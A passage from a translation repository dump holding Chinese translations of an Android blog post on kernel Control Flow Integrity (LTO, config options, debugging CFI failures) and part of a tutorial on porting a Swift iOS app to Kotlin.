[掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/control-flow-integrity-in-android-kernel.md",
    "content": "> * 原文地址：[Control Flow Integrity in the Android kernel](https://android-developers.googleblog.com/2018/10/control-flow-integrity-in-android-kernel.html)\n> * 原文作者：[Android Developers Blog](https://android-developers.googleblog.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/control-flow-integrity-in-android-kernel.md](https://github.com/xitu/gold-miner/blob/master/TODO1/control-flow-integrity-in-android-kernel.md)\n> * 译者：[nanjingboy](https://github.com/nanjingboy)\n> * 校对者：[gs666](https://github.com/gs666)\n\n# Android 内核控制流完整性\n\n**由 Android 安全研究工程师 Sami Tolvanen 发布**\n\nAndroid 的安全模型由 Linux 内核强制执行，这将诱使攻击者将其视为攻击目标。我们在已发布的 Android 版本和 Android 9 上为[加强内核](https://android-developers.googleblog.com/2017/08/hardening-kernel-in-android-oreo.html)投入了大量精力，我们将继续这项工作，通过将关注点放在[基于编译器的安全缓解措施](https://android-developers.googleblog.com/2018/06/compiler-based-security-mitigations-in.html)上以防止代码重用攻击。\n\nGoogle 的 Pixel 3 将是第一款在内核中实施 LLVM 前端[控制流完整性（CFI）](https://clang.llvm.org/docs/ControlFlowIntegrity.html)的设备，我们已经实现了 [Android 内核版本 4.9 和 4.14 中对 CFI 的支持](https://source.android.com/devices/tech/debug/kcfi)。这篇文章描述了内核 CFI 的工作原理，并为开发人员在启用该功能时可能遇到的常见问题提供了解决方案。\n\n## 防止代码重用攻击\n\n利用内核的常用方法是使用错误来覆盖存储在内存中的函数指针，例如存储了回调函数的指针，或已被推送到堆栈的返回地址。这允许攻击者执行任意内核代码来完成利用，即使他们不能注入自己的可执行代码。这种获取代码执行能力的方法在内核中特别受欢迎，因为它使用了大量的函数指针，以及使代码注入更具挑战性的现有内存保护机制。\n\nCFI 尝试通过添加额外的检查来确认内核控制流停留在预先设计的版图中，以便缓解这类攻击。尽管这无法阻止攻击者利用一个已存在的 bug 获取写入权限，从而更改函数指针，但它会严格限制可被其有效调用的目标，这使得攻击者在实践中利用漏洞的过程变得更加困难。\n\n[![](https://1.bp.blogspot.com/-SAbAK7FpTNw/W700bhOfGuI/AAAAAAAAFz4/N6PNS6LDxN0-yRl-xwWdRQW4pyqKAcRwACLcBGAs/s1600/figure_cfi_effectivenessimage1.png)](https://1.bp.blogspot.com/-SAbAK7FpTNw/W700bhOfGuI/AAAAAAAAFz4/N6PNS6LDxN0-yRl-xwWdRQW4pyqKAcRwACLcBGAs/s1600/figure_cfi_effectivenessimage1.png)\n\n图 1. 在 Android 设备内核中，LLVM 的 CFI 将 55% 的间接调用限制为最多 5 个可能的目标，80% 限制为最多 20 个目标。\n\n## 通过链接时优化（LTO）获得完整的程序可见性\n\n为了确定每个间接分支的所有有效调用目标，编译器需要立即查看所有内核代码。传统上，编译器一次处理单个编译单元（源代文件），并将目标文件合并到链接器。LLVM 的 CFI 要求使用 LTO，其编译器为所有 C 编译单元生成特定于 LLVM 的 bitcode，并且 LTO 感知链接器使用 LLVM 后端来组合 bitcode，并将其编译为本机代码。\n\n[![](https://3.bp.blogspot.com/-qyrtXmMXuVs/W700gB5yQOI/AAAAAAAAFz8/9Dm4v75Sl9oNEskKppbYap9AMbE7s2KWACLcBGAs/s1600/2_lto_overviewimage2.png)](https://3.bp.blogspot.com/-qyrtXmMXuVs/W700gB5yQOI/AAAAAAAAFz8/9Dm4v75Sl9oNEskKppbYap9AMbE7s2KWACLcBGAs/s1600/2_lto_overviewimage2.png)\n\n图 2. LTO 在内核中的工作原理的简单概述。所有 LLVM bitcode 在链接时被组合，优化并生成本机代码。\n\n几十年来，Linux 一直使用 GNU 工具链来汇编，编译和链接内核。虽然我们继续将 GNU 汇编程序用于独立的汇编代码，但 LTO 要求我们切换到 LLVM 的集成汇编程序以进行内联汇编，并将 GNU gold 或 LLVM 自己的 lld 作为链接器。在巨大的软件项目上切换到未经测试的工具链会导致兼容性问题，我们已经在内核版本 [4.9](https://android-review.googlesource.com/q/topic:android-4.9-lto) 和 [4.14](https://android-review.googlesource.com/q/topic:android-4.14-lto) 的 arm64 LTO 补丁集中解决了这些问题。\n\n除了使 CFI 成为可能，由于全局优化，LTO 还可以生成更快的代码。但额外的优化通常会导致更大的二进制尺寸，这在资源受限的设备上可能是不需要的。禁用 LTO 特定的优化（比如全局内联和循环展开）可以通过牺牲一些性能收益来减少二进制尺寸。使用 GNU gold 时，可以通过以下方式设置 LDFLAGS 来禁用上述优化：\n\n```\nLDFLAGS += -plugin-opt=-inline-threshold=0 \\\n           -plugin-opt=-unroll-threshold=0\n```\n\n注意，禁用单个优化的标志不是稳定 LLVM 接口的一部分，在将来的编译器版本中可能会更改。\n\n## 在 Linux 内核中实现 CFI\n\n[LLVM 的 CFI](https://clang.llvm.org/docs/ControlFlowIntegrity.html#indirect-function-call-checking) 实现在每个间接分支之前添加一个检查，以确认目标地址指向一个拥有有效签名的函数。这可以防止一个间接分支跳转到任意代码位置，甚至限制可以调用的函数。由于 C 编译器没有对间接分支强制执行类似限制，函数类型声明不匹配导致了几个 CFI 违规，即使在我们在内核的 CFI 补丁集中解决的内核 [4.9](https://android-review.googlesource.com/q/topic:android-4.9-cfi) 和 [4.14](https://android-review.googlesource.com/q/topic:android-4.14-cfi) 中也是如此。\n\n内核模块为 CFI 添加了另一个复杂功能，因为它们在运行时加载，并且可以独立于内核的其它部分进行编译。为了支持可加载模块，我们在内核中实现了 LLVM 的 [cross-DSO CFI](https://clang.llvm.org/docs/ControlFlowIntegrity.html#shared-library-support) 支持，包括用来加速跨模块查找的 CFI 影子。在使用 cross-DSO 支持进行编译时，每个内核模块都会包含有关有效本地分支目标的信息，内核根据目标地址和模块的内存布局从正确的模块中查找信息。\n\n[![](https://2.bp.blogspot.com/-Iee5TBAz8Yo/W700nNjYZkI/AAAAAAAAF0A/oPsRJJhs2qMb-jNv4RGd4a5K3h8W7B9ygCLcBGAs/s1600/3_cfi_checkimage3.png)](https://2.bp.blogspot.com/-Iee5TBAz8Yo/W700nNjYZkI/AAAAAAAAF0A/oPsRJJhs2qMb-jNv4RGd4a5K3h8W7B9ygCLcBGAs/s1600/3_cfi_checkimage3.png)\n\n图 3. 注入 arm64 内核的 cross-DSO CFI 检查示例。类型信息在 X0 中传递，目标地址在 X1 中验证。\n\nCFI 检查会给间接分支增加一些开销，但由于更积极的优化，我们的测试表明影响很小，在很多情况下整体系统性能甚至提高了 1-2%。\n\n## 为 Android 设备启用内核 CFI\n\narm64 中的 CFI 需要 clang 版本 >= 5.0 并且 binutils >= 2.27。内核构建系统还假定 LLVMgold.so 插件在 LD_LIBRARY_PATH 中可用。[clang](https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+/master) 和 [binutils](https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9/+/master) 预构建工具链二进制文件可在 AOSP 获得，也可使用上游二进制文件。\n\n启用内核 CFI 需要开启以下内核配置选项：\n\n```\nCONFIG_LTO_CLANG=y\nCONFIG_CFI_CLANG=y\n```\n\n在调试 CFI 违规或设备启动期间，使用 CONFIG_CFI_PERMISSIVE=y 可能会有所帮助。此选项将违规转换为警告而不是内核恐慌。\n\n如前一节所述，我们在 Pixel 3 上启用 CFI 时遇到的最常见问题是由函数指针类型不匹配引起的良性违规。当内核遇到这种违规时，它会打印出一个运行时警告，其中包含失败时的调用堆栈，以及未通过 CFI 检查的目标调用。更改代码以使用正确的函数指针类型可以解决问题。虽然我们已经修复了 Android 内核中所有已知的间接分支类型不匹配的问题，但在设备特定的驱动程序中仍然可能发现类似的问题，例如。\n\n```\nCFI failure (target: [<fffffff3e83d4d80>] my_target_function+0x0/0xd80):\n------------[ cut here ]------------\nkernel BUG at kernel/cfi.c:32!\nInternal error: Oops - BUG: 0 [#1] PREEMPT SMP\n…\n调用堆栈:\n…\n[<ffffff8752d00084>] handle_cfi_failure+0x20/0x28\n[<ffffff8752d00268>] my_buggy_function+0x0/0x10\n…\n```\n\n图 4. CFI 故障引起的内核恐慌示例\n\n另一个潜在的缺陷是地址空间冲突，但这在驱动程序代码中应该不太常见。LLVM 的 CFI 检查仅清楚内核虚拟地址和在另一个异常级别运行或间接调用物理地址的任何代码都将导致 CFI 违规。可通过使用 `__nocfi` 属性禁用单个函数的 CFI 来解决这些类型的故障，甚至可以使用 Makefile 中的 $(DISABLE_CFI) 编译器标志来禁用整个文件的 CFI。\n\n```\nstatic int __nocfi address_space_conflict()\n{\n      void (*fn)(void);\n …\n/* 切换分支到物理地址将使 CFI 没有 __nocfi */\n fn = (void *)__pa_symbol(function_name);\n      cpu_install_idmap();\n      fn();\n      cpu_uninstall_idmap();\n …\n}\n```\n\n图 5. 修复由地址空间冲突引起 CFI 故障的示例。\n\n最后，和许多增强功能一样，CFI 也可能因内存损坏错误而被触发，否则可能导致随后的内核崩溃。这些可能更难以调试，但内存调试工具，如 [KASAN](https://www.kernel.org/doc/html/v4.14/dev-tools/kasan.html) 在这种情况下可以提供帮助。\n\n## 结论\n\n我们已经在 Android 内核 4.9 和 4.14 中实现了对 LLVM 的 CFI 的支持。Google 的 Pixel 3 将是第一款提供这些保护功能的 Android 设备，我们已通过 Android 通用内核向所有设备供应商提供了该功能。如果你要发布运行 Android 9 的新 arm64 设备，我们强烈建议启用内核 CFI 以帮助防止内核漏洞。\n\nLLVM 的 CFI 保护间接分支免受攻击者的攻击，这些攻击者设法访问存储在内核中的函数指针。这使得利用内核的常用方法更加困难。我们未来的工作还涉及到 LLVM 的 [影子调用堆栈](https://clang.llvm.org/docs/ShadowCallStack.html)来保护函数返回地址免受类似攻击，这将在即将发布的编译器版本中提供。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/converting-your-ios-app-to-android-using-kotlin.md",
    "content": "> * 原文地址：[Converting your iOS App to Android Using Kotlin](https://www.raywenderlich.com/7266-converting-your-ios-app-to-android-using-kotlin?utm_source=mobiledevweekly&utm_medium=email)\n> * 原文作者：[Lisa Luo](https://www.raywenderlich.com/u/luoser)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/converting-your-ios-app-to-android-using-kotlin.md](https://github.com/xitu/gold-miner/blob/master/TODO1/converting-your-ios-app-to-android-using-kotlin.md)\n> * 译者：[iWeslie](https://github.com/iWeslie)\n> * 校对者：[LoneyIsError](https://github.com/LoneyIsError), [phxnirvana](https://github.com/phxnirvana)\n\n# 使用 Kotlin 将你的应用程序从 iOS 转换成 Android\n\n## 通过本教程，你将亲眼看到语言的相似之处，以及通过 iOS 应用程序移植到 Android 上了解将 Swift 转换为 Kotlin 是多么容易。\n\n移动设备是你的日常伴侣，无论你走到哪里，都可以将它们放入背包和口袋。技术将不断适应你的移动设备，使移动开发作为一个人的业余爱好或是专业都将越来越普遍。\n\n通常开发人员会选择一个开发平台，最常见的是 Android 或 iOS。这种选择一般基于个人所能得到的资源（例如，她或他的个人设备）或当前市场环境。许多开发人员倾向于只为他们选择的平台构建应用程序。Android 和 iOS 工程师历来都使用完全不同的语言和 IDE ，尽管两个移动平台之间存在太多相似之处，但在两个平台之间的跨平台开发是令人生畏并且十分罕见的。\n\n但是 Android 和 iOS 开发的语言和工具在过去几年中得到了极大的改善，主要是 *Kotlin* 和 *Swift* 的诞生，这两种语言缓解了跨平台学习之间的障碍。掌握了语言基础知识后，你可以很容易地把代码可以从 Swift 转换为 Kotlin。\n\n![](https://koenig-media.raywenderlich.com/uploads/2018/10/ktswift-480x310.png)\n\n在本教程中，你将亲眼看到这些语言的相似之处，以及将 Swift 转换为 Kotlin 是多么容易。首先打开 Xcode，你将探索使用 Swift 来编写一个 iOS 应用程序，然后你将在 Android Studio 中使用 Kotlin 重新编写这个相同的应用程序。\n\n> **注意**：熟悉 Swift 和 iOS 的基础知识或 Kotlin 和 Android 的基础知识有助于更好的完成本教程。你可以通过 [这些教程](https://www.raywenderlich.com/5993-your-first-ios-app) 了解适用于 iOS 的 Swift 或 [这些教程](https://www.raywenderlich.com/291-beginning-android-development-with-kotlin-part-one-installing-android-studio)了解 Android 上的 Kotlin。\n\n## 开始\n\n下载 **[测试项目](https://koenig-media.raywenderlich.com/uploads/2018/10/PokeTheBear.zip)** 来开始本教程的学习。\n\n### iOS APP 架构\n\n在 Xcode 中打开 iOS-Finished 示例应用程序并在模拟器上运行它，该应用程序将提示你登录。输入用户名和任意至少六个字符长的和密码来登录该应用程序，密码还至少包含一个数字字符。\n\n[![Screenshot of login screen](https://koenig-media.raywenderlich.com/uploads/2018/08/ios_1-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2018/08/ios_1.png)\n\n通过用户名和密码登入 APP，进入项目主页面：熊出没，注意！戳一戳它看看会发生什么……\n\n[![Screenshot of app with image of bear and Poke button](https://koenig-media.raywenderlich.com/uploads/2018/08/ios_2-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2018/08/ios_2.png)\n\n现在你可以关注在这个简单应用程序架构中的两个 `ViewController`，每个交互页面都有一个。\n\n1.  `LoginViewController` 和\n2.  `BearViewController`\n\n在项目中找到这些控制器，该应用程序首先加载 `LoginViewController`，它持有了 *Main.storyboard* 中定义的 `TextField` 和 `Button` 的 UI 组件。另外请注意，`LoginViewController` 包含了两个用于验证密码的辅助函数，以及两个用于显示无效密码错误的辅助函数，这些是你将在 Kotlin 中重写的两个 Swift 函数。\n\n`BearViewController` 中也持有了 **Main.storyboard** 中的 UI 组件。通常在 iOS 开发中，每个 `ViewController` 都有其单独的 storyboard 页面。在本教程中你将专注于 `ViewController` 逻辑组件而不是 UI。在 `BearViewController` 中，你保持对一个名为 `tapCount`的变量的引用，每次你点击 `pokeButton` 时 `tapCount` 值都会更新，从而触发熊的不同状态。\n\n## Swift 到 Kotlin：基础部分\n\n现在你已经对该应用程序有了个大体的了解，现在可以通过 playground 进行技术改造，深入了解一些语言方面的细节。对于 Swift，在 Xcode 里点击 *File ▸ New ▸ Playground* 来创建一个新的 *Blank* 的 playground，然后就可以候编写一些代码了！\n\n[![Menu File ▸ New ▸ Playground](https://koenig-media.raywenderlich.com/uploads/2018/08/ios_3-480x191.png)](https://koenig-media.raywenderlich.com/uploads/2018/08/ios_3.png)\n\n[![Blank Swift playground option](https://koenig-media.raywenderlich.com/uploads/2018/09/Screen-Shot-2018-09-17-at-11.01.26-AM-446x320.png)](https://koenig-media.raywenderlich.com/uploads/2018/09/Screen-Shot-2018-09-17-at-11.01.26-AM.png)\n\n### 变量和可选项\n\n在 Swift 中有一个称为 **可选项** 的概念。可选值包含一个值或为 `nil`。将此代码粘贴到 Swift playground：\n\n```swift\nvar hello = \"world\"\nhello = \"ok\"\n\nlet hey = \"world\"\nhey = \"no\"\n```\n\nSwift 使用 `var` 和 `let` 来定义变量，两个前缀定义了可变性。`let` 声明变量之后不可修改，这就是编译器报错的原因，而 `var` 变量可以在运行时更改。\n\n[![Cannot assign value compiler error](https://koenig-media.raywenderlich.com/uploads/2018/09/Screen-Shot-2018-09-17-at-11.04.18-AM-480x52.png)](https://koenig-media.raywenderlich.com/uploads/2018/09/Screen-Shot-2018-09-17-at-11.04.18-AM.png)\n\n在 playground 中为代码添加类型声明，现在它看起来会像这样：\n\n```swift\nvar hello: String? = \"world\"\nhello = \"ok\"\n\nlet hey: String = \"world\"\nhey = \"no\"\n```\n\n通过为这两个变量增加类型标注，你已经将 `hello` 设置为 **可为空** 的String，由 `String?` 中的 `?` 表示，而 `hey` 是一个 **非空** 的 String。可为空的变量在 Swift 中称为 **可选项**。\n\n为什么这个细节很重要？空值通常会导致应用程序中出现令人讨厌的崩溃，尤其是当你的数据源并不是始终在客户端中进行定义时（例如，如果你希望服务器获得某个值而且它并没有返回）。使用 `let` 和 `var` 之类的简单前缀允许你进行内置的动态检查以防止程序在值为空时进行编译。有关更多信息，请参阅有关 Swift 中函数编程的 [相关教程](https://www.raywenderlich.com/693-an-introduction-to-functional-programming-in-swift)。\n\n但是 Android 又会是怎样呢？可空性通常被认为是 Java 开发中最大的痛点之一。NPE（或空指针异常）通常是由于空值处理不当导致程序崩溃的原因。在 Java 中，你可以做的最有效的事是使用 `@NonNull` 或 `@Nullable` 注解来警告该值是否可为空。但是这些警告不会阻止你编译和运行应用程序。幸运的是，Kotlin 拯救了它！有关更多信息，请参阅 [Kotlin 的介绍](https://www.raywenderlich.com/331-kotlin-for-android-an-introduction)。\n\n在 [try.kotlinlang.org](https://try.kotlinlang.org/) 打开 Kotlin playground 并粘贴刚刚在 Swift playground 中编写的代码来替换 `main` 函数的主体：\n\n[![Kotlin playground with main function body replaced](https://koenig-media.raywenderlich.com/uploads/2018/09/Screen-Shot-2018-09-17-at-11.20.37-AM-480x176.png)](https://koenig-media.raywenderlich.com/uploads/2018/09/Screen-Shot-2018-09-17-at-11.20.37-AM.png)\n\n太棒了对吧？你可以将代码从一个 playground 复制到另一个 playground，即使这两个 playground 使用不同的语言。当然，语法并不完全相同。Kotlin 使用 `val` 代替 `let`，所以现在将该关键词更改为 Kotlin 中声明不可变变量的方式，如下所示：\n\n```kotlin\nfun main(args: Array<String>) {\n  var hello: String? = \"world\"\n  hello = \"ok\"\n\n  val hey: String = \"world\"\n  hey = \"no\"\n}\n```\n\n既然你做出了改变，现在你将 `let` 转向 `val`，然后你就得到了 Kotlin 代码！\n\n点击右上角的 *Run*，你会看到一个有意义的错误：\n\n[![Kotlin compiler error](https://koenig-media.raywenderlich.com/uploads/2018/08/kotlin_5-480x41.png)](https://koenig-media.raywenderlich.com/uploads/2018/08/kotlin_5.png)\n\n这就是你在 Swift playground 看到的同样的东西。就像 `let` 一样你也不能重新给 `val` 赋值。\n\n### 操作数组（Map）\n\n数组在 Swift 里作为一等公民，操作起来功能非常强大。如果要将整数数组中的所有值加倍，只需调用 `map` 函数并将其中每个值乘以 2 即可。将此代码粘贴到 Swift playground 中。\n\n```swift\nlet xs = [1, 2, 3]\nprint(xs.map { $0 * 2 })\n```\n\n在 Kotlin里，你也可以这样做！再一次的，将代码从 Swift playground 复制并粘贴到 Kotlin playground。再进行修改以使其与 Kotlin 语法后，你将得到以下内容：\n\n```kotlin\nval xs = listOf(1, 2, 3)\nprint(xs.map { it * 2 })\n```\n\n为了到这一步，你需要：\n\n1.  像上一个示例中那样，再次把 `let` 改为 `val`。\n2.  使用 `listOf()` 而不是方括号来更改声明整数数组的方式。\n3.  在 map 函数里把 `$0` 改为 `it` 以引用其中的值。`$0` 表示 Swift 中闭包的第一个元素，而在 Kotlin 中你要在 lambda 表达式中使用保留关键字。\n\n这比手动一次次遍历数组的每一个值再将所有整数乘以 2 要好得多！\n\n**奖励**：现在看看你可以在 Swift 和 Kotlin 中对数组应用哪些其函数把！使整数翻倍就是一个很好的例子。或者可以使用 `filter` 来过滤数组中的特定值，或者 `flatMap`（另一个非常强大的内置数组运算符），用于展平嵌套数组。这是 Kotlin 的一个例子，你可以运行 Kotlin playground 了：\n\n```kotlin\nval xs = listOf(listOf(1, 2, 3))\nprint(xs.flatMap { it.map { it * 2 }})\n```\n\n你可以继续使用 Swift 和 Kotlin 的所有优点，但是你没时间用 Kotlin 编写你的 Poke the Bear 应用程序了，你肯定不希望像平常一样丢给你的 Android 用户一个 iOS 应用程序而让他们不知所措！\n\n## 编写 Android 应用程序\n\n在 Android Studio 3.1.4 或更高版本中打开 Android Starter 应用。你可以点击 *File ▸ New ▸ Import Project* 来导入项目，然后选择 Kotlin-Starter 项目的根文件夹来打开项目。这个项目比之前完成的 iOS 应用程序更加简单，但不要害怕！本教程将指导你构建 Android 版本的应用程序！\n\n### 实现 LoginActivity\n\n打开 *app ▸ java ▸ com.raywenderlich.pokethebear ▸ LoginActivity.kt* 文件。这和了 iOS 项目中的 `LoginViewController` 类似。Android 入门项目有一个与此 activity 相对应的 XML 布局文件，请打开 *app ▸ res ▸ layout ▸ activity_login.xml* 以引用你将在此处使用的视图，即 `login_button` 和 `password_edit_text`。\n\n[![Android login screen](https://koenig-media.raywenderlich.com/uploads/2018/09/activity_login_xml-192x320.png)](https://koenig-media.raywenderlich.com/uploads/2018/09/activity_login_xml.png)\n\n**输入验证**\n\n现在你将从 Swift 项目文件 *LoginViewController.swift* 复制的第一个名为 `containsNumbers` 的函数：￼\n\n```swift\nprivate func containsNumbers(string: String) -> Bool {\n  let numbersInString = string.filter { (\"0\"...\"9\").contains($0) }\n  return !numbersInString.isEmpty\n}\n```\n\n再一次地，你可以使用你激进的跨平台复制粘贴方法，复制该函数并将其粘贴到 Android Studio 中 *LoginActivity.kt* 文件中的 `LoginActivity` 类中。做了一些更改之后，以下是你现在的 Kotlin 代码：\n\n```kotlin\nprivate fun containsNumbers(string: String): Boolean {\n  val numbersInString = string.filter { (\"0\"..\"9\").contains(it.toString()) }\n  return numbersInString.isNotEmpty()\n}\n```\n\n1.  正如你之前在 playground 上所做的那样，将 `let` 更改为 `val` 以声明不可变的返回值。\n2.  对于函数声明，你可以体会到从 `func` 中删除 'c' 获得的一些乐趣！你使用 `fun` 而不是 `func` 来声明 Kotlin 里的函数。\n3.  Kotlin 中函数的返回值用冒号 `:` 表示而不是 lambda 符号 `->`。\n4.  此外，在 Kotlin 中，布尔值被称为 `Boolean` 而不是 `Bool`。\n5.  要在 Kotlin 中有声明一个闭区间 `Range`，你需要使用两个点而不是三个，所以 `\"0\"...\"9\"` 要改为 `\"0\"..\"9\"`。\n6.  就像你在 playground 中使用 `map` 一样，你还必须将 `$0` 转换为 `it`。此外，在 Kotlin 中调用 `contain` 来比较需要将 `it` 转换为 String。\n7.  最后，你使用 return 语句在 Kotlin 中进行一些清理。你只需使用 Kotlin 里 `String` 的函数 `isNotEmpty` 来检查是否为空，而不是用 `!`。\n\n现在，代码语句从 Swift 更改为了 Kotlin。\n\n从 iOS 项目中的 `LoginViewController` 复制 `passwordIsValid` 函数并将其粘贴到 Android 项目的类中：\n\n```swift\nprivate func passwordIsValid(passwordInput: String) -> Bool {\n  return passwordInput.count >= 6 && self.containsNumbers(string: passwordInput)\n}\n```\n\n这还需要进行适当的更改来将代码从 Swift 转换为 Kotlin。你应该得到这样的代码：\n\n```kotlin\nprivate fun passwordIsValid(passwordInput: String): Boolean {\n  return passwordInput.length >= 6 && this.containsNumbers(string = passwordInput)\n}\n```\n\n其中还有一些细节的差异：\n\n1.  用 `length` 而不是 `count`\n2.  用 `this` 而不是 `self`\n3.  用 `string =` 而不是 `string:`\n\n请注意，在Kotlin 中不需要 `string =` 方法，它有助于保持本教程中两种语言之间的相似性。在其他实践里的标签是 Kotlin 为了使 Java 代码可以访问默认函数参数而包含的更多细节。阅读有关 `@JvmOverloads` 函数的 [更多信息](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.jvm/-jvm-overloads/index.html) 以了解有关默认参数的更多信息！\n\n**错误展示**\n\n将 `showLengthError` 和 `showInvalidError` 函数从 iOS 项目中的 `LoginViewController` 复制到 Android 项目中 `LoginActivity` 类里。\n\n`showLengthError` 函数确定用户输入的密码是否包含六个或更多字符，如果不是，则显示相应的警报消息：\n\n```swift\nprivate func showLengthError() {\n  let alert = UIAlertController(title: \"Error\", \n    message: \"Password must contain 6 or more characters\", \n    preferredStyle: UIAlertControllerStyle.alert)\n  alert.addAction(UIAlertAction(title: \"Okay\", \n    style: UIAlertActionStyle.default, \n    handler: nil))\n  self.present(alert, animated: true, completion: nil)\n}\n```\n\n`showInvalidError` 函数用来判断用户输入的密码是否包含至少一个数字字符，如果不是，则弹出相应的警告消息：\n\n```swift\nprivate func showInvalidError() {\n  let alert = UIAlertController(title: \"Error\", \n    message: \"Password must contain a number (0-9)\", \n    preferredStyle: UIAlertControllerStyle.alert)\n  alert.addAction(UIAlertAction(title: \"Okay\", \n    style: UIAlertActionStyle.default, handler: nil))\n  self.present(alert, animated: true, completion: nil)\n}\n```\n\n现在，你必须在 Android 应用中将新复制的函数的代码并从 Swift 转换为 Kotlin。你的新 `showError` 函数需要重新引入 Android 的 API。你现在将使用 `AlertDialog.Builder` 来实现 `UIAlertController` 相似的功能。你可以在 [本教程](https://www.raywenderlich.com/470-common-design-patterns-for-android-with-kotlin) 中查看有关常见设计模式的更多信息，比如 AlertDialog。对话框的标题，消息和确定按钮字符串已包含在 `strings.xml` 中，因此请继续使用它们！用以下代码替换 `showLengthError`：\n\n```kotlin\nprivate fun showLengthError() {\n  AlertDialog.Builder(this)\n    .setTitle(getString(R.string.error))\n    .setMessage(getString(R.string.length_error_body))\n    .setPositiveButton(getString(R.string.okay), null)\n    .show()\n}\n```\n\n使用相同的格式创建展示 `showInvalidError` 的 AlertDialog。用以下内容替换复制的方法：\n\n```kotlin\nprivate fun showInvalidError() {\n  AlertDialog.Builder(this)\n    .setTitle(getString(R.string.error))\n    .setMessage(getString(R.string.invalid_error_body))\n    .setPositiveButton(getString(R.string.okay), null)\n    .show()\n}\n```\n\n**处理按钮点击事件**\n\n现在你已经完成了验证和错误显示功能，通过实现 `loginButtonClicked` 函数可以把它们放在一起。Android 和 iOS 之间需要注意的一个很有趣的区别是，你的 Android 视图是在第一个生命周期回调 `onCreate()` 中显式创建和设置的，而 iOS 应用中的 *Main.storyboard* 是在 Swift 中隐式链接的。你可以在 [此处](https://www.raywenderlich.com/500-introduction-to-android-activities-with-kotlin) 详细了解本教程中的 Android 生命周期。\n\n这是 iOS 项目中的 `loginButtonTapped` 函数。\n\n```swift\n@IBAction func loginButtonTapped(_ sender: Any) {\n  let passwordInput = passwordEditText.text ?? \"\"\n  if passwordIsValid(passwordInput: passwordInput) {\n    self.performSegue(withIdentifier: \"pushBearViewController\", sender: self)\n  } else if passwordInput.count < 6 {\n    self.showLengthError()\n  } else if !containsNumbers(string: passwordInput) {\n    self.showInvalidError()\n  }\n}\n```\n\n将 iOS 项目中 `loginButtonTapped` 函数的主体部分复制并粘贴到 Android 项目中 `loginButtonClicked` 函数的主体中，并根据你掌握的方法对代码进行一些小改动，将语法从 Swift 更改为 Kotlin。\n\n```kotlin\nval passwordInput = this.password_edit_text.text.toString()\nif (passwordIsValid(passwordInput = passwordInput)) {\n  startActivity(Intent(this, BearActivity::class.java))\n} else if (passwordInput.length < 6) {\n  this.showLengthError()\n} else if (!containsNumbers(string = passwordInput)) {\n  this.showInvalidError()\n}\n```\n\n这里有两个不同之处，分别是从 EditText 中提取字符串的方法以及显示新 activity 的方法。你可以使用语句 `this.password_edit_text.text.toString()` 从 `passwordInput` 视图中获取文本。然后，调用 `startActivity` 函数传入 `Intent` 以启动 `BearActivity` 活动。剩下的都应该非常简单。\n\n你的 `LoginActivity` 现已完成。现在 Android Studio 中编译并运行应用程序，查看你的设备或自带模拟器中显示的第一个已实现的活动。输入用户名的任何字符串值，并使用有效和无效的密码组合，以确保你的错误对话框显示达到了预期。\n\n[![Kotlin login screen](https://koenig-media.raywenderlich.com/uploads/2018/08/kotlin_6-180x320.png)](https://koenig-media.raywenderlich.com/uploads/2018/08/kotlin_6.png)\n\n成功登录后将屏幕上将显示一只熊，你现在可以来实现它了！\n\n### 实现熊的活动\n\n打开 *app ▸ java ▸ com.raywenderlich.pokethebear ▸ BearActivity.kt*，你的 BearViewController.swift 文件即将变成 Kotlin 的版本。你将通过实现辅助函数 `bearAttack` 和 `reset` 来开始修改此 Activity。你将在 Swift 文件中看到 `bearAttack` 负责设置 UI 状态，隐藏 Poke 按钮五秒钟，然后重置屏幕：\n\n```swift\nprivate func bearAttack() {\n  self.bearImageView.image = imageLiteral(resourceName: \"bear5\")\n  self.view.backgroundColor = .red\n  self.pokeButton.isHidden = true\n  DispatchQueue.main.asyncAfter(deadline: DispatchTime.now() + .seconds(5), \n    execute: { self.reset() })\n}\n```\n\n从 iOS 项目中复制该函数并将其粘贴到 Android 项目中的 `bearAttack` 函数体中，然后进行一些小的语法修改让 Kotlin 中的 `bearAttack` 函数的主体如下所示：\n\n```kotlin\nprivate fun bearAttack() {\n  this.bear_image_view.setImageDrawable(getDrawable(R.drawable.bear5))\n  this.bear_container.setBackgroundColor(getColor(R.color.red))\n  this.poke_button.visibility = View.INVISIBLE\n  this.bear_container.postDelayed({ reset() }, TimeUnit.SECONDS.toMillis(5))\n}\n```\n\n你需要做出以下修改：\n\n1.  调用 `setImageDrawable` 函数将 `bear_image_view` 的图像资源设置为 *bear5.png* 可绘制的资源，该资源已包含在 *app ▸ res ▸ drawable* 目录下。\n2.  然后调用 `setBackgroundColor` 函数将 `bear_container` 视图的背景设置为预先定义的颜色 `R.color.red`。\n3.  将 